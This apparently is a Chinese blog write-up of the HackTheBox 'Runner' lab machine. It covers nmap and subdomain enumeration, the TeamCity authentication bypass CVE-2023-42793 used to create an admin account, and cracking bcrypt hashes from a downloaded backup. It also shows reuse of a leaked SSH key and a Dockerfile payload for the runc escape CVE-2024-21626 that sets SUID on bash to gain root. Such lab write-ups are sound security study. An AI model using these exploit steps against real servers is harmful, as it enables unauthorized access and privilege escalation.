I want to save t|

Ling-X5

园龄:2年10个月粉丝:19关注:0

2024-09-02 15:50阅读: 187评论: 0推荐: 0

HTB-Runner靶机笔记

HTB-Runner靶机笔记

概述

Runner是HTB上一个中等难度的Linux靶机,它包含以下teamcity漏洞(CVE-2023-42793)该漏洞允许用户绕过身份验证并提取API令牌。以及docker容器逃逸CVE-2024-21626,进行提权操作

Runner靶机地址:https://app.hackthebox.com/machines/Runner

一、nmap 扫描

1)端口扫描
nmap -sT --min-rate 10000 -p- -o ports 10.10.11.13
Warning: 10.10.11.13 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.13
Host is up (0.26s latency).
Not shown: 63375 closed tcp ports (conn-refused), 2157 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
# Nmap done at Fri Aug 30 22:29:18 2024 -- 1 IP address (1 host up) scanned in 47.39 seconds
2)详细信息扫描
nmap -sT -sV -sC -O -p22,80,8000 -o detail 10.10.11.13
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-01 20:51 EDT
Nmap scan report for 10.10.11.13
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds

看到http-title: Did not follow redirect to http://runner.htb

我们去/etc/hosts 文件中绑定域名

sudo vi /etc/hosts

10.10.11.13 runner.htb 写进去

3) 默认脚本扫描

sudo nmap --script=vuln -p22,80,8000 10.10.11.13 -o vuln

二、web渗透

image-20240902090140120

打开主页测试与收集了一圈信息,也没有有用的,可能用到的就是主页线面的名字

image-20240902090316730

尝试了robots.txt,index.php等都是404页面

同时尝试目录爆破和子域名爆破

1)目录爆破

sudo gobuster dir -u http://runner.htb -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://runner.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 178] [--> http://runner.htb/assets/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

2)子域名爆破

ffuf -u http://runner.htb -H "HOST:FUZZ.runner.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://runner.htb
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.runner.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
[Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 121ms]
* FUZZ: teamcity
image-20240902090920755

左边目录,右边子域名

3)信息分析

目录爆破点开,没有有用的信息,我们扫到了一个子域名teamcity.runner.htb写入/etc/hosts文件中

echo "10.10.11.13 teamcity.runner.htb" | tee -a /etc/hosts

访问

image-20240902091633507

测试了sql注入,重置密码等,都不可以,google搜索漏洞

CVE-2023-42793 :https://www.exploit-db.com/exploits/51884

他允许我们未授权,去创建一个管理员用户,其实读一下这个exp,他内部的原理也不难理解。就是未授权访问,导致管理员的token泄漏,利用这个token创建了一个新的管理员账户

把他的代码粘贴到kali里,空命令查看帮助

python exp.py
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
usage: exp.py [-h] -u URL [-v]
exp.py: error: the following arguments are required: -u/--url
python exp.py -u http://teamcity.runner.htb
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
Token: eyJ0eXAiOiAiVENWMiJ9.Z2Q5NHVFQjFpdnJqLVpvRjVueVNkWTF4WkN3.YTM5MjkwZTktNTU1MS00MzA5LThkYTUtODc2MTQ5M2MwODUx
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminbsnn
Password: Main_password!!**

他给我们创建了一个管理员用户city_adminbsnn:Main_password!!**

登陆进去

image-20240902093454029

进入后台,下载备份文件

image-20240902093613586

下载到本地进行解压

image-20240902094058407

在目录里翻一下,配置文件和数据库文件一般有会有信息,先更改权限

sudo chmod -R 777 *

翻找中发现 users的hash值

image-20240902094845130

把凭证信息,用awk,sed,tee等工具处理,当然复制到新文件红也可以

John:$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye
Matthew:$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em
nspjipzg:$2a$07$NhQTyKKikNjDy4HgKBjiiuc2ftK1XelfKkNiHy.4/HjDG1qmr9w36
city_adminbwgn:$2a$07$lQsvDl0GcSMeUl95ZZWBReYJYqymfIhZf20W3gQpoRw0TFtBy875u

image-20240902095110411

用hashid识别加密方式

cat creds | awk -F: '{print $2}'|head -n 1 | hashid
Analyzing '$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

bcrypt

查找在hashcat中的模块号

hashcat --help| grep bcrypt
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce

暴力破解密码

hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200

执行完成,查看结果

hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200 --show
Matthew:$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123
a) 账号信息

凭证:Matthew:piper123

尝试了ssh,发现不是。只能放弃了。继续去从backup备份文件找找看,是否还有其他的信息

b) ssh信息

最终找到了ssh的key

./config/projects/AllProjects/pluginData/ssh_keys/id_rsa

我们复制出来

cp ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa ../../id_rsa

查看是谁的

cat john.id_rsa | grep -v '\-' | base64 -d | strings

看到明文信息中有john@runner

image-20240902100848517

重命名

image-20240902100446657

三、获得立足点

chmod 600 id_rsa
ssh john@10.10.11.13 -i john.id_rsa -o EnableEscapeCommandline=yes

-o EnableEscapeCommandline=yes 是允许在ssh连接时,调回到物理机执行ssh隧道命令,方便搭建sockets隧道,或建立端口转发

image-20240902101756062

image-20240902102209291

四、提权

ss -lant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN -
tcp 0 248 10.10.11.13:22 10.10.14.11:33776 ESTABLISHED -
tcp 0 0 127.0.0.1:59056 127.0.0.1:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:41720 127.0.0.1:8111 TIME_WAIT -
tcp 0 0 10.10.11.13:80 10.10.14.11:33912 ESTABLISHED -
tcp 0 0 172.17.0.1:54814 172.17.0.2:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:8111 127.0.0.1:59430 TIME_WAIT -
tcp 0 0 127.0.0.1:59216 127.0.0.1:8111 TIME_WAIT -
tcp 0 1 10.10.11.13:38340 8.8.8.8:53 SYN_SENT -
tcp 0 0 172.17.0.1:34338 172.17.0.2:8111 TIME_WAIT -
tcp 0 0 172.17.0.1:40448 172.17.0.2:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:58786 127.0.0.1:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:33934 127.0.0.1:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:8111 127.0.0.1:55392 TIME_WAIT -
tcp 0 0 172.17.0.1:54802 172.17.0.2:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:41716 127.0.0.1:8111 TIME_WAIT -
tcp 0 0 10.10.11.13:80 10.10.16.3:34523 TIME_WAIT -
tcp 0 0 127.0.0.1:8111 127.0.0.1:55406 TIME_WAIT -
tcp 0 0 172.17.0.1:54982 172.17.0.2:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:59044 127.0.0.1:8111 TIME_WAIT -
tcp 0 0 127.0.0.1:8111 127.0.0.1:59436 TIME_WAIT -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::8000 :::* LISTEN -

看到开放了一堆本地端口,搭建ssh的sockets隧道,访问一下

在ssh会话里按~C 进入ssh会话

image-20240902103756196

按两下回车,退出 并不会终止我们的sockets代理

在kali的本地浏览器里配置好sockets代理127.0.0.1:1080,就可以访问目标的资源了。我这里用的小狐狸,看大家个人喜欢吧。搭好就可以

发现9000是一个docker的管理页面.

image-20240902110347454

需要登录

在第二部获得的 凭证:Matthew:piper123既然不是ssh的凭证,在这里试一试

image-20240902111143253

成功登陆

既然有docker 看看runc的版本

runc --version
runc version 1.1.7-0ubuntu1~22.04.1
spec: 1.0.2-dev
go: go1.18.1
libseccomp: 2.5.3

这个有一个容器逃逸漏洞

CVE-2024-21626:https://www.wiz.io/blog/leaky-vessels-container-escape-vulnerabilities#cve-2024-21626-5

https://packetstormsecurity.com/files/176993/runc-1.1.11-File-Descriptor-Leak-Privilege-Escalation.html

简单理解:

就是 runc 在处理文件描述符时的不当管理。文件描述符泄漏使得新创建的容器进程可以意外地继承主机文件系统命名空间中的工作目录。这种泄漏允许容器进程访问主机文件系统,导致容器逃逸。

通过对这个漏洞的学习和理解,结合我们靶机的现状,我们在这台靶机中并不能创建和操作一个docker的image,但是我们可以在portainer面板中创建容器和镜像

我们在靶机中用john创建文件夹

mkdir -p /tmp/lingx5
cp /bin/bash /tmp/lingx5/bash

在创建镜像处填入

FROM ubuntu:latest
WORKDIR /proc/self/fd/8
RUN cd ../../../../../../../../ && \
chmod -R 777 /tmp/lingx5 && \
chown -R root:root /tmp/lingx5 && \
chmod u+s /tmp/lingx5/bash

image-20240902152140077

在下方点击builimage

我们就把/tmp/lingx5/bash文件赋予了SUID的权限

image-20240902152022186

看到编译成功了,应该已经给我们的/tmp/lingx5/bash赋予了SUID权限

执行

/tmp/lingx5/bash -p

提权到root

cat /root/root.txt
image-20240902151944661

总结

  1. 我们用nmap对主机进行端口发现,发现22,80,8000端口开放。
  2. 在对80渗透过程中,发现主页的目录爆破信息很少,想到子域名爆破,爆破出teamcity子域名通过google搜索公开漏洞找到CVE-2023-42793,创建了一个管理员用户。我们登陆了进去,发现有备份功能,我们把备份文件下载到本地,在翻找过程中我们发现了凭证:Matthew:piper123以及一个john的ssh密钥
  3. 利用密钥获得了john的立足点,查看本机运行的服务,大部分都是只允许本机访问的端口,我们利用ssh搭建了一条sockets隧道,访问页面找到9000端口的docker服务。
  4. 利用凭证:Matthew:piper123登陆到了后台,通过对runc版本的判断,发现存在逃逸漏洞,利用CVE-2024-21626的原理,和一些复现的重要操作进行提权。

本文作者:LING-X5

本文链接:https://www.cnblogs.com/LINGX5/p/18392837

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Ling-X5  阅读(187)  评论(0编辑  收藏  举报
评论
收藏
关注
推荐
深色
回顶
收起
点击右上角即可分享
微信分享提示